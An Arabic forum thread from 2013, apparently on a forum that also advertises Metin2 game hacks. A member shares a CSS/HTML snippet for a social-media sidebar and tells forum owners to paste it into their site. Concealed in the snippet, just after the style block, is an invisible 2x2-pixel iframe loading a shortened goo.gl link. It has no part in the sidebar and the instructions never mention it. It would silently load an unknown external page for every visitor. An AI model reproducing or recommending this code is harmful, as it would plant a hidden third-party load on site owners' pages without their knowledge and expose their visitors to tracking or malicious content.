اكبر واقدم منتدى للعبة مغامرات الشرق Metin2 بجميع انواعها , أقوى الهاكات والخدمات والسيرفرات وبرمجة metin2 وأفضل الشروحات للعبة وحلول لجميع المشاكل , ونهتم بكروس فاير وكل ما يلزمها
 
الرئيسيةالرئيسية  اليوميةاليومية  س .و .جس .و .ج  بحـثبحـث  قائمة الاعضاءقائمة الاعضاء  المجموعاتالمجموعات  التسجيلالتسجيل  دخولدخول  
عاجل : تم تفريغ قسم هاكات مايتن 2 بسبب جميع الهاكات التي بالقسم انتهت صلاحيتها وسوف يتم قريباً طرح هاكات جديده لعشاق مايتن2

اخر 10 مشاركات

منتديات منظمة الصحراء


شاطر | 
 

 كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
topmix
عضو جديد
عضو جديد


الجنس : ذكر
مشآرڪآتي: : 4
نقآطيّ ›› *: : 8
عدد التقييم : 0
تاريخ التسجيل : 09/07/2013
العمر : 21

مُساهمةموضوع: كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى   الثلاثاء يوليو 30, 2013 2:03 pm

اليو احضرت لكم كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى



ضع هدا الكود في العناصر المستقلة

الرمز:

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/</style><iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
   <ul>
    <li>
     <a class="entypo-twitter" href="https://twitter.com/" target="_blank">
      <span>Twitter</span>
     </a>
    </li>
    <li>
     <a class="entypo-gplus" href="http://plus.google.com/" target="_blank">
      <span>google+</span>
     </a>
    </li>
    <li>
     <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">
      <span>tumblr</span>
     </a>
    </li>
<li>
     <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">
      <span>facebook</span>
     </a>
    </li>
        <li>
     <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">
      <span>feedburner</span>
     </a>
    </li>
   </ul>
  </div>



قم بالبحث عن :


https://twitter.com/


http://plus.google.com/


http://www.tumblr.net/


https://www.facebook.com/


http://feeds.feedburner.com/

 وبدلها بروابطك الخاصة وهكدا يكون قد تم بادن الله  انتظر ردودكم
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
des-org
صاحب الموقع
صاحب الموقع


الجنس : انثى
مشآرڪآتي: : 1939
نقآطيّ ›› *: : 4397
عدد التقييم : 21
تاريخ التسجيل : 23/10/2012
العمر : 19
المزاج : رايقه

مُساهمةموضوع: رد: كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى   الثلاثاء يوليو 30, 2013 2:48 pm

مبدع من يومك


موقع قروب ملاك للتعئه و الاشراف بارخص الاسعار تواصل معنا
http://grupmalak.com/
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://grupmalak.com/
topmix
عضو جديد
عضو جديد


الجنس : ذكر
مشآرڪآتي: : 4
نقآطيّ ›› *: : 8
عدد التقييم : 0
تاريخ التسجيل : 09/07/2013
العمر : 21

مُساهمةموضوع: رد: كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى   الأربعاء يوليو 31, 2013 9:20 am

الله يخليك يا اخي منور الموضوع
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات منظمة الصحراء :: تطوير المنتديات وحمايتها :: تَطْوِيرُ مُنْتَديَاتِ احلى مُنْتَدَى-
انتقل الى: